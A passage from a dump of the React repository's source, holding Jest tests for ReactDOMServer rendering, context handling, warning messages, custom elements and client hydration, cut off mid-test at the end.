/>);\n      // Extract the numbers rendered by the consumers\n      const results = markup.match(/\\d+/g).map(Number);\n      expect(results).toEqual([2, 1, 3, 1]);\n    });\n\n    it('renders with dispatcher.readContext mechanism', () => {\n      const Context = React.createContext(0);\n\n      function readContext(context) {\n        return ReactSharedInternals.H.readContext(context);\n      }\n\n      function Consumer(props) {\n        return 'Result: ' + readContext(Context);\n      }\n\n      const Indirection = React.Fragment;\n\n      function App(props) {\n        return (\n          <Context.Provider value={props.value}>\n            <Context.Provider value={2}>\n              <Consumer />\n            </Context.Provider>\n            <Indirection>\n              <Indirection>\n                <Consumer />\n                <Context.Provider value={3}>\n                  <Consumer />\n                </Context.Provider>\n              </Indirection>\n            </Indirection>\n            <Consumer />\n          </Context.Provider>\n        );\n      }\n\n      const markup = ReactDOMServer.renderToStaticMarkup(<App value={1} />);\n      // Extract the numbers rendered by the consumers\n      const results = markup.match(/\\d+/g).map(Number);\n      expect(results).toEqual([2, 1, 3, 1]);\n    });\n\n    it('renders context API, reentrancy', () => {\n      const Context = React.createContext(0);\n\n      function Consumer(props) {\n        return (\n          <Context.Consumer>{value => 'Result: ' + value}</Context.Consumer>\n        );\n      }\n\n      let reentrantMarkup;\n      function Reentrant() {\n        reentrantMarkup = ReactDOMServer.renderToStaticMarkup(\n          <App value={1} reentrant={false} />,\n        );\n        return null;\n      }\n\n      const Indirection = React.Fragment;\n\n      function App(props) {\n        return (\n          <Context.Provider value={props.value}>\n            {props.reentrant && <Reentrant />}\n            <Context.Provider value={2}>\n              <Consumer />\n            </Context.Provider>\n            <Indirection>\n              <Indirection>\n                <Consumer />\n                <Context.Provider value={3}>\n                  <Consumer />\n                </Context.Provider>\n              </Indirection>\n            </Indirection>\n            <Consumer />\n          </Context.Provider>\n        );\n      }\n\n      const markup = ReactDOMServer.renderToStaticMarkup(\n        <App value={1} reentrant={true} />,\n      );\n      // Extract the numbers rendered by the consumers\n      const results = markup.match(/\\d+/g).map(Number);\n      const reentrantResults = reentrantMarkup.match(/\\d+/g).map(Number);\n      expect(results).toEqual([2, 1, 3, 1]);\n      expect(reentrantResults).toEqual([2, 1, 3, 1]);\n    });\n\n    it('renders components with different batching strategies', () => {\n      class StaticComponent extends React.Component {\n        render() {\n          const staticContent = ReactDOMServer.renderToStaticMarkup(\n            <div>\n              <img src=\"foo-bar.jpg\" />\n            </div>,\n          );\n          return <div dangerouslySetInnerHTML={{__html: staticContent}} />;\n        }\n      }\n\n      class Component extends React.Component {\n        UNSAFE_componentWillMount() {\n          this.setState({text: 'hello, world'});\n        }\n\n        render() {\n          return <div>{this.state.text}</div>;\n        }\n      }\n\n      expect(\n        ReactDOMServer.renderToString.bind(\n          ReactDOMServer,\n          <div>\n            <StaticComponent />\n            <Component />\n          </div>,\n        ),\n      ).not.toThrow();\n    });\n\n    it('renders synchronously resolved lazy component', () => {\n      const LazyFoo = React.lazy(() => ({\n        then(resolve) {\n          resolve({\n            default: function Foo({id}) {\n              return <div id={id}>lazy</div>;\n            },\n          });\n        },\n      }));\n\n      expect(ReactDOMServer.renderToStaticMarkup(<LazyFoo id=\"foo\" />)).toEqual(\n        '<div id=\"foo\">lazy</div>',\n      );\n    });\n\n    it('throws error from synchronously rejected lazy component', () => {\n      const LazyFoo = React.lazy(() => ({\n        then(resolve, reject) {\n          reject(new Error('Bad lazy'));\n        },\n      }));\n\n      expect(() => ReactDOMServer.renderToStaticMarkup(<LazyFoo />)).toThrow(\n        'Bad lazy',\n      );\n    });\n\n    it('aborts synchronously any suspended tasks and renders their fallbacks', () => {\n      const promise = new Promise(res => {});\n      function Suspender() {\n        throw promise;\n      }\n      const response = ReactDOMServer.renderToStaticMarkup(\n        <React.Suspense fallback={'fallback'}>\n          <Suspender />\n        </React.Suspense>,\n      );\n      expect(response).toEqual('fallback');\n    });\n  });\n\n  it('warns with a no-op when an async setState is triggered', () => {\n    class Foo extends React.Component {\n      UNSAFE_componentWillMount() {\n        this.setState({text: 'hello'});\n        setTimeout(() => {\n          this.setState({text: 'error'});\n        });\n      }\n      render() {\n        return <div onClick={() => {}}>{this.state.text}</div>;\n      }\n    }\n\n    ReactDOMServer.renderToString(<Foo />);\n    jest.runOnlyPendingTimers();\n    assertConsoleErrorDev([\n      'Can only update a mounting component. ' +\n        'This usually means you called setState() outside componentWillMount() on the server. ' +\n        'This is a no-op.\\n' +\n        '\\n' +\n        'Please check the code for the Foo component.',\n    ]);\n\n    const markup = ReactDOMServer.renderToStaticMarkup(<Foo />);\n    expect(markup).toBe('<div>hello</div>');\n    // No additional warnings are expected\n    jest.runOnlyPendingTimers();\n  });\n\n  it('warns with a no-op when an async forceUpdate is triggered', () => {\n    class Baz extends React.Component {\n      UNSAFE_componentWillMount() {\n        this.forceUpdate();\n        setTimeout(() => {\n          this.forceUpdate();\n        });\n      }\n\n      render() {\n        return <div onClick={() => {}} />;\n      }\n    }\n\n    ReactDOMServer.renderToString(<Baz />);\n    jest.runOnlyPendingTimers();\n    assertConsoleErrorDev([\n      'Can only update a mounting component. ' +\n        'This usually means you called forceUpdate() outside componentWillMount() on the server. ' +\n        'This is a no-op.\\n' +\n        '\\n' +\n        'Please check the code for the Baz component.',\n    ]);\n    const markup = ReactDOMServer.renderToStaticMarkup(<Baz />);\n    expect(markup).toBe('<div></div>');\n  });\n\n  it('does not get confused by throwing null', () => {\n    function Bad() {\n      // eslint-disable-next-line no-throw-literal\n      throw null;\n    }\n\n    let didError;\n    let error;\n    try {\n      ReactDOMServer.renderToString(<Bad />);\n    } catch (err) {\n      didError = true;\n      error = err;\n    }\n    expect(didError).toBe(true);\n    expect(error).toBe(null);\n  });\n\n  it('does not get confused by throwing undefined', () => {\n    function Bad() {\n      // eslint-disable-next-line no-throw-literal\n      throw undefined;\n    }\n\n    let didError;\n    let error;\n    try {\n      ReactDOMServer.renderToString(<Bad />);\n    } catch (err) {\n      didError = true;\n      error = err;\n    }\n    expect(didError).toBe(true);\n    expect(error).toBe(undefined);\n  });\n\n  it('does not get confused by throwing a primitive', () => {\n    function Bad() {\n      // eslint-disable-next-line no-throw-literal\n      throw 'foo';\n    }\n\n    let didError;\n    let error;\n    try {\n      ReactDOMServer.renderToString(<Bad />);\n    } catch (err) {\n      didError = true;\n      error = err;\n    }\n    expect(didError).toBe(true);\n    expect(error).toBe('foo');\n  });\n\n  it('should throw (in dev) when children are mutated during render', () => {\n    function Wrapper(props) {\n      props.children[1] = <p key={1} />; // Mutation is illegal\n      return <div>{props.children}</div>;\n    }\n    if (__DEV__) {\n      expect(() => {\n        ReactDOMServer.renderToStaticMarkup(\n          <Wrapper>\n            <span key={0} />\n            <span key={1} />\n            <span key={2} />\n          </Wrapper>,\n        );\n      }).toThrowError(/Cannot assign to read only property.*/);\n    } else {\n      expect(\n        ReactDOMServer.renderToStaticMarkup(\n          <Wrapper>\n            <span key={0} />\n            <span key={1} />\n            <span key={2} />\n          </Wrapper>,\n        ),\n      ).toContain('<p>');\n    }\n  });\n\n  it('warns about lowercase html but not in svg tags', () => {\n    function CompositeG(props) {\n      // Make sure namespace passes through composites\n      return <g>{props.children}</g>;\n    }\n    ReactDOMServer.renderToStaticMarkup(\n      <div>\n        <inPUT />\n        <svg>\n          <CompositeG>\n            <linearGradient />\n            <foreignObject>\n              {/* back to HTML */}\n              <iFrame />\n            </foreignObject>\n          </CompositeG>\n        </svg>\n      </div>,\n    );\n    assertConsoleErrorDev([\n      '<inPUT /> is using incorrect casing. ' +\n        'Use PascalCase for React components, ' +\n        'or lowercase for HTML elements.\\n' +\n        '    in inPUT (at **)',\n      // linearGradient doesn't warn\n      '<iFrame /> is using incorrect casing. ' +\n        'Use PascalCase for React components, ' +\n        'or lowercase for HTML elements.\\n' +\n        '    in iFrame (at **)',\n    ]);\n  });\n\n  it('should warn about contentEditable and children', () => {\n    ReactDOMServer.renderToString(<div contentEditable={true} children=\"\" />);\n    assertConsoleErrorDev([\n      'A component is `contentEditable` and contains `children` ' +\n        'managed by React. It is now your responsibility to guarantee that ' +\n        'none of those nodes are unexpectedly modified or duplicated. This ' +\n        'is probably not intentional.\\n' +\n        '    in div (at **)',\n    ]);\n  });\n\n  it('should warn when server rendering a class with a render method that does not extend React.Component', () => {\n    class ClassWithRenderNotExtended {\n      render() {\n        return <div />;\n      }\n    }\n\n    expect(() =>\n      ReactDOMServer.renderToString(<ClassWithRenderNotExtended />),\n    ).toThrow(TypeError);\n    assertConsoleErrorDev([\n      'The <ClassWithRenderNotExtended /> component appears to have a render method, ' +\n        \"but doesn't extend React.Component. This is likely to cause errors. \" +\n        'Change ClassWithRenderNotExtended to extend React.Component instead.\\n' +\n        '    in ClassWithRenderNotExtended (at **)',\n    ]);\n\n    // Test deduplication\n    expect(() => {\n      ReactDOMServer.renderToString(<ClassWithRenderNotExtended />);\n    }).toThrow(TypeError);\n  });\n\n  // We're just testing importing, not using it.\n  // It is important because even isomorphic components may import it.\n  it('can import react-dom in Node environment', () => {\n    if (\n      typeof requestAnimationFrame !== 'undefined' ||\n      global.hasOwnProperty('requestAnimationFrame') ||\n      typeof requestIdleCallback !== 'undefined' ||\n      global.hasOwnProperty('requestIdleCallback') ||\n      typeof window !== 'undefined' ||\n      global.hasOwnProperty('window')\n    ) {\n      // Don't remove this. This test is specifically checking\n      // what happens when they *don't* exist. It's useless otherwise.\n      throw new Error('Expected this test to run in a Node environment.');\n    }\n    jest.resetModules();\n    expect(() => {\n      require('react-dom');\n    }).not.toThrow();\n  });\n\n  it('includes a useful stack in warnings', () => {\n    function A() {\n      return null;\n    }\n\n    function B() {\n      return (\n        <font>\n          <C>\n            <span ariaTypo=\"no\" />\n          </C>\n        </font>\n      );\n    }\n\n    class C extends React.Component {\n      render() {\n        return <b>{this.props.children}</b>;\n      }\n    }\n\n    function Child() {\n      return [<A key=\"1\" />, <B key=\"2\" />, <span ariaTypo2=\"no\" key=\"3\" />];\n    }\n\n    function App() {\n      return (\n        <div>\n          <section />\n          <span>\n            <Child />\n          </span>\n        </div>\n      );\n    }\n\n    ReactDOMServer.renderToString(<App />);\n    assertConsoleErrorDev([\n      'Invalid ARIA attribute `ariaTypo`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in span (at **)\\n' +\n        '    in B (at **)\\n' +\n        '    in Child (at **)\\n' +\n        '    in App (at **)',\n      'Invalid ARIA attribute `ariaTypo2`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in span (at **)\\n' +\n        '    in Child (at **)\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('reports stacks with re-entrant renderToString() calls', () => {\n    function Child2(props) {\n      return <span ariaTypo3=\"no\">{props.children}</span>;\n    }\n\n    function App2() {\n      return (\n        <Child2>\n          {ReactDOMServer.renderToString(<blink ariaTypo2=\"no\" />)}\n        </Child2>\n      );\n    }\n\n    function Child() {\n      return (\n        <span ariaTypo4=\"no\">{ReactDOMServer.renderToString(<App2 />)}</span>\n      );\n    }\n\n    function App() {\n      return (\n        <div>\n          <span ariaTypo=\"no\" />\n          <Child />\n          <font ariaTypo5=\"no\" />\n        </div>\n      );\n    }\n\n    ReactDOMServer.renderToString(<App />);\n    assertConsoleErrorDev([\n      // ReactDOMServer(App > div > span)\n      'Invalid ARIA attribute `ariaTypo`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in span (at **)\\n' +\n        '    in App (at **)',\n      // ReactDOMServer(App > div > Child) >>> ReactDOMServer(App2) >>> ReactDOMServer(blink)\n      'Invalid ARIA attribute `ariaTypo2`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in blink (at **)\\n' +\n        '    in App2 (at **)\\n' +\n        '    in Child (at **)\\n' +\n        '    in App (at **)',\n      // ReactDOMServer(App > div > Child) >>> ReactDOMServer(App2 > Child2 > span)\n      'Invalid ARIA attribute `ariaTypo3`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in span (at **)\\n' +\n        '    in Child2 (at **)\\n' +\n        '    in App2 (at **)\\n' +\n        '    in Child (at **)\\n' +\n        '    in App (at **)',\n      // ReactDOMServer(App > div > Child > span)\n      'Invalid ARIA attribute `ariaTypo4`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in span (at **)\\n' +\n        '    in Child (at **)\\n' +\n        '    in App (at **)',\n      // ReactDOMServer(App > div > font)\n      'Invalid ARIA attribute `ariaTypo5`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in font (at **)\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('should warn if an invalid contextType is defined', () => {\n    const Context = React.createContext();\n    class ComponentA extends React.Component {\n      static contextType = Context.Consumer;\n      render() {\n        return <div />;\n      }\n    }\n\n    ReactDOMServer.renderToString(<ComponentA />);\n    assertConsoleErrorDev([\n      'ComponentA defines an invalid contextType. ' +\n        'contextType should point to the Context object returned by React.createContext(). ' +\n        'Did you accidentally pass the Context.Consumer instead?\\n' +\n        '    in ComponentA (at **)',\n    ]);\n\n    // Warnings should be deduped by component type\n    ReactDOMServer.renderToString(<ComponentA />);\n\n    class ComponentB extends React.Component {\n      static contextType = Context.Provider;\n      render() {\n        return <div />;\n      }\n    }\n    // Does not warn because Context === Context.Provider.\n    ReactDOMServer.renderToString(<ComponentB />);\n  });\n\n  it('should not warn when class contextType is null', () => {\n    class Foo extends React.Component {\n      static contextType = null; // Handy for conditional declaration\n      render() {\n        return this.context.hello.world;\n      }\n    }\n\n    expect(() => {\n      ReactDOMServer.renderToString(<Foo />);\n    }).toThrow(\"Cannot read property 'world' of undefined\");\n  });\n\n  it('should warn when class contextType is undefined', () => {\n    class Foo extends React.Component {\n      // This commonly happens with circular deps\n      // https://github.com/facebook/react/issues/13969\n      static contextType = undefined;\n      render() {\n        return this.context.hello.world;\n      }\n    }\n\n    expect(() => {\n      ReactDOMServer.renderToString(<Foo />);\n    }).toThrow(\"Cannot read property 'world' of undefined\");\n    assertConsoleErrorDev([\n      'Foo defines an invalid contextType. ' +\n        'contextType should point to the Context object returned by React.createContext(). ' +\n        'However, it is set to undefined. ' +\n        'This can be caused by a typo or by mixing up named and default imports. ' +\n        'This can also happen due to a circular dependency, ' +\n        'so try moving the createContext() call to a separate file.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('should warn when class contextType is an object', () => {\n    class Foo extends React.Component {\n      // Can happen due to a typo\n      static contextType = {\n        x: 42,\n        y: 'hello',\n      };\n      render() {\n        return this.context.hello.world;\n      }\n    }\n\n    expect(() => {\n      ReactDOMServer.renderToString(<Foo />);\n    }).toThrow(\"Cannot read property 'hello' of undefined\");\n    assertConsoleErrorDev([\n      'Foo defines an invalid contextType. ' +\n        'contextType should point to the Context object returned by React.createContext(). ' +\n        'However, it is set to an object with keys {x, y}.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('should warn when class contextType is a primitive', () => {\n    class Foo extends React.Component {\n      static contextType = 'foo';\n      render() {\n        return this.context.hello.world;\n      }\n    }\n\n    expect(() => {\n      ReactDOMServer.renderToString(<Foo />);\n    }).toThrow(\"Cannot read property 'world' of undefined\");\n    assertConsoleErrorDev([\n      'Foo defines an invalid contextType. ' +\n        'contextType should point to the Context object returned by React.createContext(). ' +\n        'However, it is set to a string.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  describe('custom element server rendering', () => {\n    it('String properties should be server rendered for custom elements', () => {\n      const output = ReactDOMServer.renderToString(\n        <my-custom-element foo=\"bar\" />,\n      );\n      expect(output).toBe(`<my-custom-element foo=\"bar\"></my-custom-element>`);\n    });\n\n    it('Number properties should be server rendered for custom elements', () => {\n      const output = ReactDOMServer.renderToString(\n        <my-custom-element foo={5} />,\n      );\n      expect(output).toBe(`<my-custom-element foo=\"5\"></my-custom-element>`);\n    });\n\n    it('Object properties should not be server rendered for custom elements', () => {\n      const output = ReactDOMServer.renderToString(\n        <my-custom-element foo={{foo: 'bar'}} />,\n      );\n      expect(output).toBe(`<my-custom-element></my-custom-element>`);\n    });\n\n    it('Array properties should not be server rendered for custom elements', () => {\n      const output = ReactDOMServer.renderToString(\n        <my-custom-element foo={['foo', 'bar']} />,\n      );\n      expect(output).toBe(`<my-custom-element></my-custom-element>`);\n    });\n\n    it('Function properties should not be server rendered for custom elements', () => {\n      const output = ReactDOMServer.renderToString(\n        <my-custom-element foo={() => console.log('bar')} />,\n      );\n      expect(output).toBe(`<my-custom-element></my-custom-element>`);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactServerRenderingBrowser-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMServer;\nlet ReactDOMServerBrowser;\n\ndescribe('ReactServerRenderingBrowser', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMServer = require('react-dom/server');\n    // For extra isolation between what would be two bundles on npm\n    jest.resetModules();\n    ReactDOMServerBrowser = require('react-dom/server.browser');\n  });\n\n  it('returns the same results as react-dom/server', () => {\n    class Nice extends React.Component {\n      render() {\n        return <h2>I am feeling very good today, thanks, how are you?</h2>;\n      }\n    }\n    function Greeting() {\n      return (\n        <div>\n          <h1>How are you?</h1>\n          <Nice />\n        </div>\n      );\n    }\n    expect(ReactDOMServerBrowser.renderToString(<Greeting />)).toEqual(\n      ReactDOMServer.renderToString(<Greeting />),\n    );\n    expect(ReactDOMServerBrowser.renderToStaticMarkup(<Greeting />)).toEqual(\n      ReactDOMServer.renderToStaticMarkup(<Greeting />),\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactServerRenderingHydration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet ReactDOMServerBrowser;\nlet waitForAll;\nlet act;\nlet assertConsoleErrorDev;\nlet assertConsoleWarnDev;\n\n// These tests rely both on ReactDOMServer and ReactDOM.\n// If a test only needs ReactDOMServer, put it in ReactServerRendering-test instead.\ndescribe('ReactDOMServerHydration', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    ReactDOMServerBrowser = require('react-dom/server.browser');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    act = InternalTestUtils.act;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n    assertConsoleWarnDev = InternalTestUtils.assertConsoleWarnDev;\n  });\n\n  it('should have the correct mounting behavior', async () => {\n    let mountCount = 0;\n    let numClicks = 0;\n\n    class TestComponent extends React.Component {\n      spanRef = React.createRef();\n\n      componentDidMount() {\n        mountCount++;\n      }\n\n      click = () => {\n        numClicks++;\n      };\n\n      render() {\n        return (\n          <span ref={this.spanRef} onClick={this.click}>\n            Name: {this.props.name}\n          </span>\n        );\n      }\n    }\n\n    const element = document.createElement('div');\n    document.body.appendChild(element);\n    try {\n      let root = ReactDOMClient.createRoot(element);\n      await act(() => {\n        root.render(<TestComponent />);\n      });\n\n      let lastMarkup = element.innerHTML;\n\n      // Exercise the update path. Markup should not change,\n      // but some lifecycle methods should be run again.\n      await act(() => {\n        root.render(<TestComponent name=\"x\" />);\n      });\n      expect(mountCount).toEqual(1);\n\n      // Unmount and remount. We should get another mount event and\n      // we should get different markup, as the IDs are unique each time.\n      root.unmount();\n      expect(element.innerHTML).toEqual('');\n      root = ReactDOMClient.createRoot(element);\n      await act(() => {\n        root.render(<TestComponent name=\"x\" />);\n      });\n\n      expect(mountCount).toEqual(2);\n      expect(element.innerHTML).not.toEqual(lastMarkup);\n\n      // Now kill the node and render it on top of server-rendered markup, as if\n      // we used server rendering. We should mount again, but the markup should\n      // be unchanged. We will append a sentinel at the end of innerHTML to be\n      // sure that innerHTML was not changed.\n      await act(() => {\n        root.unmount();\n      });\n      expect(element.innerHTML).toEqual('');\n\n      lastMarkup = ReactDOMServer.renderToString(<TestComponent name=\"x\" />);\n      element.innerHTML = lastMarkup;\n\n      let instance;\n\n      root = await act(() => {\n        return ReactDOMClient.hydrateRoot(\n          element,\n          <TestComponent name=\"x\" ref={current => (instance = current)} />,\n        );\n      });\n      expect(mountCount).toEqual(3);\n      expect(element.innerHTML).toBe(lastMarkup);\n\n      // Ensure the events system works after mount into server markup\n      expect(numClicks).toEqual(0);\n      instance.spanRef.current.click();\n      expect(numClicks).toEqual(1);\n\n      await act(() => {\n        root.unmount();\n      });\n      expect(element.innerHTML).toEqual('');\n\n      // Now simulate a situation where the app is not idempotent. React should\n      // warn but do the right thing.\n      element.innerHTML = lastMarkup;\n      root = await act(() => {\n        return ReactDOMClient.hydrateRoot(\n          element,\n          <TestComponent\n            name=\"y\"\n            ref={current => {\n              instance = current;\n            }}\n          />,\n          {\n            onRecoverableError: error => {},\n          },\n        );\n      });\n\n      expect(mountCount).toEqual(4);\n      expect(element.innerHTML.length > 0).toBe(true);\n      expect(element.innerHTML).not.toEqual(lastMarkup);\n\n      // Ensure the events system works after markup mismatch.\n      expect(numClicks).toEqual(1);\n      instance.spanRef.current.click();\n      expect(numClicks).toEqual(2);\n    } finally {\n      document.body.removeChild(element);\n    }\n  });\n\n  // We have a polyfill for autoFocus on the client, but we intentionally don't\n  // want it to call focus() when hydrating because this can mess up existing\n  // focus before the JS has loaded.\n  it('should emit autofocus on the server but not focus() when hydrating', async () => {\n    const element = document.createElement('div');\n    element.innerHTML = ReactDOMServer.renderToString(\n      <input autoFocus={true} />,\n    );\n    expect(element.firstChild.autofocus).toBe(true);\n\n    // It should not be called on mount.\n    element.firstChild.focus = jest.fn();\n    const root = await act(() =>\n      ReactDOMClient.hydrateRoot(element, <input autoFocus={true} />),\n    );\n    expect(element.firstChild.focus).not.toHaveBeenCalled();\n\n    // Or during an update.\n    await act(() => {\n      root.render(<input autoFocus={true} />);\n    });\n    expect(element.firstChild.focus).not.toHaveBeenCalled();\n  });\n\n  it('should not focus on either server or client with autofocus={false}', async () => {\n    const element = document.createElement('div');\n    element.innerHTML = ReactDOMServer.renderToString(\n      <input autoFocus={false} />,\n    );\n    expect(element.firstChild.autofocus).toBe(false);\n\n    element.firstChild.focus = jest.fn();\n    const root = await act(() =>\n      ReactDOMClient.hydrateRoot(element, <input autoFocus={false} />),\n    );\n\n    expect(element.firstChild.focus).not.toHaveBeenCalled();\n\n    await act(() => {\n      root.render(<input autoFocus={false} />);\n    });\n    expect(element.firstChild.focus).not.toHaveBeenCalled();\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/11726\n  it('should not focus on either server or client with autofocus={false} even if there is a markup mismatch', async () => {\n    const element = document.createElement('div');\n    element.innerHTML = ReactDOMServer.renderToString(\n      <button autoFocus={false}>server</button>,\n    );\n    expect(element.firstChild.autofocus).toBe(false);\n    const onFocusBeforeHydration = jest.fn();\n    const onFocusAfterHydration = jest.fn();\n    element.firstChild.focus = onFocusBeforeHydration;\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(\n        element,\n        <button autoFocus={false} onFocus={onFocusAfterHydration}>\n          client\n        </button>,\n        {onRecoverableError: error => {}},\n      );\n    });\n\n    expect(onFocusBeforeHydration).not.toHaveBeenCalled();\n    expect(onFocusAfterHydration).not.toHaveBeenCalled();\n  });\n\n  it('should warn when the style property differs', async () => {\n    const element = document.createElement('div');\n    element.innerHTML = ReactDOMServer.renderToString(\n      <div style={{textDecoration: 'none', color: 'black', height: '10px'}} />,\n    );\n    expect(element.firstChild.style.textDecoration).toBe('none');\n    expect(element.firstChild.style.color).toBe('black');\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(\n        element,\n        <div\n          style={{textDecoration: 'none', color: 'white', height: '10px'}}\n        />,\n      );\n    });\n    assertConsoleErrorDev([\n      \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. \" +\n        \"This won't be patched up. This can happen if a SSR-ed Client Component used:\\n\" +\n        '\\n' +\n        \"- A server/client branch `if (typeof window !== 'undefined')`.\\n\" +\n        \"- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n\" +\n        \"- Date formatting in a user's locale which doesn't match the server.\\n\" +\n        '- External changing data without sending a snapshot of it along with the HTML.\\n' +\n        '- Invalid HTML tag nesting.\\n\\nIt can also happen if the client has a browser extension ' +\n        'installed which messes with the HTML before React loaded.\\n' +\n        '\\n' +\n        'https://react.dev/link/hydration-mismatch\\n' +\n        '\\n' +\n        '  <div\\n    style={{\\n+     textDecoration: \"none\"\\n' +\n        '+     color: \"white\"\\n' +\n        '-     color: \"black\"\\n' +\n        '+     height: \"10px\"\\n' +\n        '-     height: \"10px\"\\n' +\n        '-     text-decoration: \"none\"\\n' +\n        '    }}\\n' +\n        '  >\\n' +\n        '\\n    in div (at **)',\n    ]);\n  });\n\n  it('should not warn when the style property differs on whitespace or order in IE', async () => {\n    document.documentMode = 11;\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    try {\n      const element = document.createElement('div');\n\n      // Simulate IE normalizing the style attribute. IE makes it equal to\n      // what's available under `node.style.cssText`.\n      element.innerHTML =\n        '<div style=\"height: 10px; color: black; text-decoration: none;\"></div>';\n\n      await act(() => {\n        ReactDOMClient.hydrateRoot(\n          element,\n          <div\n            style={{textDecoration: 'none', color: 'black', height: '10px'}}\n          />,\n        );\n      });\n    } finally {\n      delete document.documentMode;\n    }\n  });\n\n  it('should warn when the style property differs on whitespace in non-IE browsers', async () => {\n    const element = document.createElement('div');\n\n    element.innerHTML =\n      '<div style=\"text-decoration: none; color: black; height: 10px;\"></div>';\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(\n        element,\n        <div\n          style={{textDecoration: 'none', color: 'black', height: '10px'}}\n        />,\n      );\n    });\n    assertConsoleErrorDev([\n      \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. \" +\n        \"This won't be patched up. This can happen if a SSR-ed Client Component used:\\n\" +\n        '\\n' +\n        \"- A server/client branch `if (typeof window !== 'undefined')`.\\n\" +\n        \"- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n\" +\n        \"- Date formatting in a user's locale which doesn't match the server.\\n\" +\n        '- External changing data without sending a snapshot of it along with the HTML.\\n' +\n        '- Invalid HTML tag nesting.\\n\\nIt can also happen if the client has a browser extension ' +\n        'installed which messes with the HTML before React loaded.\\n' +\n        '\\n' +\n        'https://react.dev/link/hydration-mismatch\\n' +\n        '\\n' +\n        '  <div\\n' +\n        '    style={{\\n' +\n        '+     textDecoration: \"none\"\\n' +\n        '+     color: \"black\"\\n' +\n        '-     color: \"black\"\\n' +\n        '+     height: \"10px\"\\n' +\n        '-     height: \"10px\"\\n' +\n        '-     text-decoration: \"none\"\\n' +\n        '    }}\\n' +\n        '  >\\n' +\n        '\\n    in div (at **)',\n    ]);\n  });\n\n  it('should throw rendering portals on the server', () => {\n    const div = document.createElement('div');\n    expect(() => {\n      ReactDOMServer.renderToString(\n        <div>{ReactDOM.createPortal(<div />, div)}</div>,\n      );\n    }).toThrow(\n      'Portals are not currently supported by the server renderer. ' +\n        'Render them conditionally so that they only appear on the client render.',\n    );\n  });\n\n  it('should be able to render and hydrate Mode components', async () => {\n    class ComponentWithWarning extends React.Component {\n      componentWillMount() {\n        // Expected warning\n      }\n      render() {\n        return 'Hi';\n      }\n    }\n\n    const markup = (\n      <React.StrictMode>\n        <ComponentWithWarning />\n      </React.StrictMode>\n    );\n\n    const element = document.createElement('div');\n    element.innerHTML = ReactDOMServer.renderToString(markup);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n' +\n        '\\n' +\n        '* Move code from componentWillMount to componentDidMount (preferred in most cases) or the constructor.\\n' +\n        '\\n' +\n        'Please update the following components: ComponentWithWarning\\n' +\n        '    in ComponentWithWarning (at **)',\n    ]);\n    expect(element.textContent).toBe('Hi');\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(element, markup);\n    });\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n' +\n        '\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. ' +\n        'To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n        '\\n' +\n        'Please update the following components: ComponentWithWarning',\n    ]);\n    expect(element.textContent).toBe('Hi');\n  });\n\n  it('should be able to render and hydrate forwardRef components', async () => {\n    const FunctionComponent = ({label, forwardedRef}) => (\n      <div ref={forwardedRef}>{label}</div>\n    );\n    const WrappedFunctionComponent = React.forwardRef((props, ref) => (\n      <FunctionComponent {...props} forwardedRef={ref} />\n    ));\n\n    const ref = React.createRef();\n    const markup = <WrappedFunctionComponent ref={ref} label=\"Hi\" />;\n\n    const element = document.createElement('div');\n    element.innerHTML = ReactDOMServer.renderToString(markup);\n    expect(element.textContent).toBe('Hi');\n    expect(ref.current).toBe(null);\n\n    await act(() => {\n      